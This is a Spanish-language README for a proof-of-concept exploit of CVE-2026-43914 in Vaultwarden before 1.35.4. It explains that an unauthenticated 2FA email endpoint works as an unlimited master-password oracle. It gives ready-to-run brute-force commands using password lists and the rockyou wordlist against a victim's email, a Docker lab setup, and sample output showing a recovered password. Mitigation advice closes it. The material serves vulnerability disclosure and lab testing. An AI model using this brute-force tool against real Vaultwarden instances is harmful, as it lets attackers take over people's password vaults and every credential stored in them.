
PoC para CVE-2026-43914: Vaultwarden <1.35.4, oráculo de contraseña y bypass de fuerza bruta del 2FA por correo electrónico. Python solo con biblioteca estándar.
Prueba de concepto para CVE-2026-43914: cuando Email 2FA está habilitado,
la protección de fuerza bruta del inicio de sesión de Vaultwarden puede omitirse por
completo a través del endpoint no autenticado POST /api/two-factor/send-email-login,
que actúa como un oráculo de contraseña maestra ilimitado.
Afectados: Vaultwarden < 1.35.4
Vaultwarden es el administrador de contraseñas autohospedado compatible con Bitwarden más popular. Los administradores activan el Email 2FA creyendo que detiene la adivinación de contraseñas, pero este endpoint valida el hash de la contraseña maestra y devuelve un código de estado HTTP distinto para los intentos correctos/incorrectos antes de que se aplique cualquier limitación de velocidad o bloqueo de cuenta:
| Respuesta | Significado |
|---|---|
200 | contraseña correcta (correo OTP enviado) |
400 "Username or password is incorrect" | contraseña incorrecta |
Un atacante que conozca (o adivine) el correo electrónico de una víctima puede forzar por fuerza bruta la contraseña maestra a toda velocidad sin ningún tipo de limitación. El Email 2FA no lo impide.
En src/api/core/two_factor/email.rs, el manejador send_email_login comprueba la
contraseña y devuelve un error anticipadamente si no coincide, pero esta ruta no está
registrada con el middleware de fuerza bruta/limitación que protege
/identity/connect/token. Cada llamada:
check_valid_password(master_password_hash) →
err!("Username or password is incorrect") (HTTP 400) si no coincide,python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
Solo la biblioteca estándar de Python 3.
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
Crea un usuario de prueba (cualquier cliente Bitwarden o API), activa el Email 2FA (Ajustes → Inicio de sesión en dos pasos → Email) y luego ejecuta el PoC contra él.
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
Actualiza a Vaultwarden 1.35.4+. Hasta entonces: desactiva el Email 2FA en favor de
TOTP/WebAuthn y coloca la instancia detrás de un proxy inverso con limitación de
velocidad por IP en /api/two-factor/*.
Solo para investigación de seguridad autorizada y uso en laboratorio.